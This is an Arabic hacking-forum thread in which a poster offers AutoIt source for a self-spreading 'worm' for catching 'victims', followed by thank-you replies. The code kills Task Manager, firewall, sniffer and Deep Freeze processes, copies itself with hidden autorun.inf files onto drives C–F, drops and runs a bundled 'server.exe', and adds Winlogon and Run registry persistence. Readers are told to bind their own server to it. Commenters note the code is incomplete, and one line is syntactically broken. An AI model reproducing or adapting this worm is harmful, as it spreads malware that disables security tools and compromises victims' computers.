احترف جلب الضحايا بدون تعب طريقة مجربة

[lennix]

السلام عليكم اخوتي اعضاء و زوار منتدى dz4all
اليوم و في موضوعي الثاني بهذا المنتدى اقدم لكم دودة الاتوايت مبرمجة من طرف
The Master100_JHN
ما عليكم سوى تنصيب برنامج الاتوايت و نسخ كود سورس في صفحة تحرير الكود
وهي في الواقع دودة لابأس بها لها خصائص انتشار جد رائعة مع خاصية تخطي بعص الجدران النارية و بعص برامج مصاد الفيروسات
سأترككم مع سورس الكود

   $x_a= "x_a"
$exe = ".exe"
$ApP = @AutoItExe
$S = @SystemDir
$W = @WindowsDir
    If ProcessExists("taskmgr.exe") Then
        ProcessClose("taskmgr.exe")
    EndIf
        If ProcessExists("procexp.exe") Then
        ProcessClose("procexp.exe")
    EndIf
        If ProcessExists("regshot.exe") Then
        ProcessClose("regshot.exe")
    EndIf
    If ProcessExists("boda fire-wall.exe") Then
        ProcessClose("boda fire-wall.exe")
    EndIf
        If ProcessExists("smsniff.exe") Then
        ProcessClose("smsniff.exe")
    EndIf
        If ProcessExists("Armor2net.exe") Then
        ProcessClose("Armor2net.exe")
    EndIf
        If ProcessExists("DF5Serv.exe") Then
        ProcessClose("DF5Serv.exe")
    EndIf        
    If ProcessExists("FrzState2k.exe") Then
        ProcessClose("FrzState2k.exe")
    EndIf
FileCopy ($ApP, $S & "\" & $x_a & $exe,1) 
FileCopy ($ApP, $W & "\" & $x_a & $exe,1) 
FileInstall("c:\server.exe",$W & "\x_a.exe")
FileInstall("c:\autorun.txt",$W & "\autorun.inf")
Run($W & "\x_a.exe")
FileCopy ($ApP, "c:\" & $x_a & $exe,1)
FileCopy($W & "\autorun.inf" , "c:\autorun.inf" ,1)
FileSetAttrib ("c:\autorun.inf","+RSH")
FileSetAttrib ("c:\x_a.exe","+RSH")
FileCopy ($ApP, "d:\" & $x_a & $exe,1)
FileCopy($W & "\autorun.inf" , "d:\autorun.inf" ,1)
FileSetAttrib ("d:\autorun.inf","+RSH")
FileSetAttrib ("d:\x_a.exe","+RSH")
FileCopy ($ApP, "e:\" & $x_a & $exe,1)
FileCopy($W & "\autorun.inf" , "e:\autorun.inf" ,1)
FileSetAttrib ("e:\autorun.inf","+RSH")
FileSetAttrib ("e:\x_a.exe","+RSH")
FileCopy ($ApP, "f:\" & $x_a & $exe,1)
FileCopy($W & "\autorun.inf" , "f:\autorun.inf" ,1)
FileSetAttrib ("f:\autorun.inf","+RSH")
FileSetAttrib ("f:\x_a.exe","+RSH")
RegWrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon","Shell","REG_SZ","Explorer.exe " & $x_a & $exe)
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run","x_a","REG_SZ",$S & "\" & $x_a & $exe)
RegWrite ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run","x_a","REG_SZ",$W & "\x_a.exe"

ما عليكم سوى وضع مسار سرفركم ودمجه مع الدودة كما هو موضح في الصورة
[/IMG]
************************************************** *******
إهداء الى حبيبتي لمعلاباليش شكون هي ههههههههه و الى كل الاعضاء

[ExPLo!T_Dz]

خواااا امحي اسم هدااا العضو ي راك داير الموضوع اهداء ليه ،،

[hak4]

If ProcessExists("DF5Serv.exe") Then ProcessClose("DF5Serv.exe") هل فيه خاصية تخطي الدب فريز ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟ مشكور اخي على الجهد

[sisou-5]

مشكور اخي

ولكن لو وضعت السورس كود كاملا كان احسن


هذه مجرد اكواد ناقصة


المهم مشكور على المجهود

[lennix]

مشكورين على المرور ولكن الفكرة هي قيد التطوير و انت حر في اضافة اكواد لتطويره

[DR.X]

اخي العزيز الاكواد ناقصة بس على العموم **** على تعبك وتحياتي لك

[سردينة2009]

**** اخي بارك الله فيك

[malek2610]

**** اخي بارك الله فيك

[DR.DMAR]

مشكور على المجهود الرائع تحياتي لك

[مدمراليهود]

مشكووووووررررررر يابطل

[hacker almooot]

يعطيك العافية

[The MaSk]

اكود ناقصه على العموم بارك الله فيك

[X-P]

الله يعطيك العافية

[WOLF_DZ]

بوركت اخي على المجهود ..
**** لك ..
واصل ايها البطل

[jokER-spY]

******* يا غالي و الله مبدع